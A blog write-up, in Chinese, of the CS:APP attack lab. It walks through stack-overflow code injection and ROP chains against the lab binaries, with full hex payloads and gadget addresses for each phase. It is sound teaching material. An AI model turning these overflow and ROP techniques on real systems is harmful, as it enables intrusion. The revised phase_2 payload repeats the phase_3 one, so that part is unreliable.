attack lab
attack lab
背景
该实验模拟栈溢出攻击。在终端输入$ man gets,可以找到"Never use this function."等说明,这表示gets函数是极不安全的,因为该函数没有对输入的字符串的长度进行检查,导致攻击者可以输入精心设计的一串字符来修改(覆盖)函数的返回值,使函数跳转到指定的地方,而那里可能又是一段攻击者准备的程序,于是程序就完全按照攻击者设想的方式进行,以上攻击方式称为"code injection"(CI,代码注入)。
不过现代的操作系统和编译器对这种攻击方式都有一些防御手段,lab中使用的是栈随机化和限制可执行代码区域,这样就不能用code injection攻击,而是通过"return-oriented programming"(ROP,返回导向编程),对于我个人来说,在做这个lab之前是完全不了解ROP的,所以也学到了很多知识,有关这一部分会在后面的实验过程中讲解。此外,其他防御手段还有栈破坏检测。
实验内容
ctarget没有任何防御措施,rtarget有栈随机化和限制可执行代码区域的防御措施。这两个可执行文件中的getbuf都有栈溢出的安全漏洞,实验的任务就是通过输入一串字符,使ctarget能正确运行touch1、touch2和touch3函数,使rtarget能正确运行touch2和touch3函数。正常情况下,这些函数是不可能被执行的。
正常情况下函数调用过程:main()->...->test()->getbuf()->test()->...
实验过程
phase_1
运行ctarget,输入字符串,使getbuf()不返回到调用它的test(),而是执行touch1.
反汇编可执行目标文件ctarget,getbuf的汇编代码如下:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
可见栈指针sp减少了40字节,用来将用户输入的字符存到栈上。所以我们需要输入48字节的字符串内容,其中40字节用于填充,8字节用于覆盖ra(如果不清楚为什么是这样,复习一下教材3.7.2控制转移)。通过查看反汇编文件,可以发现touch1的起始地址是0x4017c0,所以输入的字节序列可以是:
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61 /* fill 40 bytes with garbage */
c0 17 40 00 00 00 00 00
这里需要注意的问题是字节顺序,x86是小端对齐的,特点是低位在前,所谓“低位”是指在字节序列中处于低位,所谓“在前”是指在内存中其地址更小。
将该序列通过给的工具hex2row转换为字符串重定向给ctarget。注意在运行ctarget和rtarget时,需要加入-q选项,否则报错。
phase_2
相比于phase_1,phase_2多了寄存器的检查,也就是说直接修改getbuf的ra虽然能够到达touch2,但是不能通过测试。为了修改指定的寄存器的值为cookie,不能简单地修改ra,还需要注入代码。
我们注入的任何东西利用了gets的漏洞注入到了栈上,所以注入的代码也是注入到了栈上,也就是说这段代码运行与栈上。通过检查反汇编,touch2检查的寄存器为edi。
为了解决该问题,可以这样想:先修改getbuf的ra,使pc指向我们注入的代码,这段代码的作用是修改寄存器为cookie。注入字符串同时设置注入代码的ra,使其修改完寄存器值后能执行touch2。
注入汇编代码为:
mov $0x59b997fa, %edi
ret
为了将汇编代码转换为机器码,文档提供了一个tricky的方法:先通过汇编器将汇编代码汇编成目标文件,然后再将其反汇编为汇编代码,也算是学了一招了,比自己根据指令和寄存器查文档要快很多。效果如下:
0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: c3 retq
下一个问题是程序如何返回到这段代码。通过gdb调试,在getbuf除打断点,程序运行到此时,打印一下rsp的值,发现是0x5561dca0,它减0x28的结果是0x5561dc78,所以我们可以把ra修改为0x5561dc78,就可以执行注入代码了。这里注意gdb调试的方法,正常运行应该为./ctarget -q < tmp.txt,而在gdb调试时,其中的-q < tmp.txt应该是run的参数,即run -q < tmp.txt
最终注入字节序列如下:
bf fa 97 b9 59 /* mov */
c3 /* ret */
61 61 /* garbage */
61 61 61 61 61 61 61 61 /* garbage */
61 61 61 61 61 61 61 61 /* garbage */
61 61 61 61 61 61 61 61 /* garbage */
61 61 61 61 61 61 61 61 /* garbage */
78 dc 61 55 00 00 00 00 /* address of injected code */
ec 17 40 00 00 00 00 00 /* address of touch2 */
但是这么做会出现segmentation fault的错误,我参考了其他的博客,是因为rsp的值非法所致,当getbuf正常返回时,rsp应该是0x5561dca0-0x8,这是不是意味着进行注入攻击时,也需要满足这个条件,对于这一点,我不是很清楚touch函数中有没有相应的测试,因为在后面的phase_4和phase_5中,rsp的位置明明已经很高了,但是没有出现segmentation fault,我百思不得其解,如果大家有想法的话,请联系我,谢谢!
因此应该通过push的方式将touch的地址放入栈中。修改汇编代码为:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
同时,字节序列如下:
48 c7 c7 a8 dc 61 55 /* mov */
68 fa 18 40 00 /* push */
c3 /* ret */
61 61 61 /* garbage */
61 61 61 61 61 61 61 61 /* garbage */
61 61 61 61 61 61 61 61 /* garbage */
61 61 61 61 61 61 61 61 /* garbage */
78 dc 61 55 00 00 00 00 /* set return address */
35 39 62 39 39 37 66 61 /* save cookie in the stack */
phase_3
相比于phase_2,touch3的检查条件变为了检查字符串是否与tostring(cookie)相等.
我们只能将字符串存在栈上,并且需要使edi指向它。可以通过注入字符串的方式将字符串存在栈上,由于字符串在栈上的位置及地址是可预测的,所以通过注入代码的方式可以时edi指向字符串。最后返回到touch3即可.
同样,touch3的地址需要由push来设置,而不能直接注入到栈上并ret返回,否则有segmentation fault
注入的汇编代码如下:
0000000000000000 <.text>:
8 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
9 7: 68 fa 18 40 00 pushq $0x4018fa
10 c: c3 retq
字节序列如下:
48 c7 c7 a8 dc 61 55 /* mov */
68 fa 18 40 00 /* push */
c3 /* ret */
61 61 61 /* garbage */
61 61 61 61 61 61 61 61 /* garbage */
61 61 61 61 61 61 61 61 /* garbage */
61 61 61 61 61 61 61 61 /* garbage */
78 dc 61 55 00 00 00 00 /* set return address */
35 39 62 39 39 37 66 61 /* save cookie in the stack */
ROP
以上三个phase都是基于code injection的,它基于两点:①可以执行栈上的代码②栈的位置固定。上面三个phase都有这样的操作,修改函数返回地址,使其指向栈上精心准备的代码,而返回地址是通过绝对地址给出的。但是,如果栈的位置是随机的,除非通过大量的尝试,否则将不可能确定注入代码的地址,这是code injection的一个挑战。另一个更为严峻的挑战是,操作系统和编译器干脆禁止执行栈上的代码,如果执行,直接报异常。这无疑是我们hack之路上的当头一棒,你甚至可能觉得自己的hack生涯就此结束了。然而,道高一尺魔高一丈,这个世界上竟然存在Return-Oriented Programming这种令人惊叹的hack方法,真是山重水复疑无路,柳暗花明又一村……
ROP不注入代码,而是就是利用程序中已经存在的代码片段(gadget),将它们进行拼凑,进而变相地运行”自己“的程序。由于栈随机化只能将栈的位置随机化,而不能讲text中的指令位置随机化,并且我们运行的是text中的代码,而不是栈上的代码,所以很好的回避了安全系统。
phase_4
通过ROP技术实现phase_2,gadget已经在目标文件中给出了,我们将其反汇编就能看到。
不像code injection,我们可以使用任意的指令,在ROP的世界里,我们要充分利用一切可利用资源。通过pdf给的三张表可以看出来,我们似乎只能使用这样一些功能:寄存器之间值的转移、取出栈中的数据、返回、空指令。
根据表和gadget,我穷举了所有数据转移(这个过程并不复杂,但为后续过程提供了便捷):
-
pop能到rax
-
rsp能到rax
-
rax能到rdi、rdx
-
rdx能到rcx
-
rcx能到rsi
注意,可以将上述内容想象成一个有向图,我只列举了直接相邻的情况。
怎么获取cookie?先通过注入的方法,将cookie注入到栈上,根据上面的数据转移可以清楚地知道数据流:pop->rax->rdi。也就是说我们需要两个gadget,至于是哪两个,就不赘述了。
字节序列为:
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
/* all garbage above */
ab 19 40 00 00 00 00 00 /* jump to the first gadget */
fa 97 b9 59 00 00 00 00 /* popq to get cookie */
c6 19 40 00 00 00 00 00 /* jump to the second gadget */
ec 17 40 00 00 00 00 00 /* jump to touch2 */
phase_5
通过ROP技术实现phase_3.
我的思路是这样的,将字符串注入到栈上,由于rsp可以指向字符串,所以当rsp指向字符串时,通过数据转移将rsp转移到另一个寄存器以持久化。但是,由于rsp指向字符串,那么即使成功将rsp持久化了,但是rsp指向的是一个无效的地址,这意味着此时执行ret指令必定报错,唯一的办法是用pop指令使rsp+8以跳过这个无效地址,遗憾的是并不存在寄存器之间数据转移+pop合并在一起的gadget。我唯一能做到的是将rsp-8持久化,也就是将上述过程分成两个gadget来执行。但是这里面存在8字节的偏移量,这困扰了我很久。
直到我看到了有一个add_xygadget,它能实现加法运算。
字节序列如下:
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
/* all garbage above */
06 1a 40 00 00 00 00 00 /* gadget: rsp->rax */
a2 19 40 00 00 00 00 00 /* gadget: rax->rdi */
ab 19 40 00 00 00 00 00 /* gadget: pop->rax */
48 00 00 00 00 00 00 00 /* save 0x48(72=8*9) in the stack */
dd 19 40 00 00 00 00 00 /* gadget: eax->edx */
34 1a 40 00 00 00 00 00 /* gadget: edx->ecx */
13 1a 40 00 00 00 00 00 /* gadget: ecx->esi */
d6 19 40 00 00 00 00 00 /* gadget: rdi+rsi->rax */
a2 19 40 00 00 00 00 00 /* gadget: rax->rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* save cookie in the stack */

浙公网安备 33010602011771号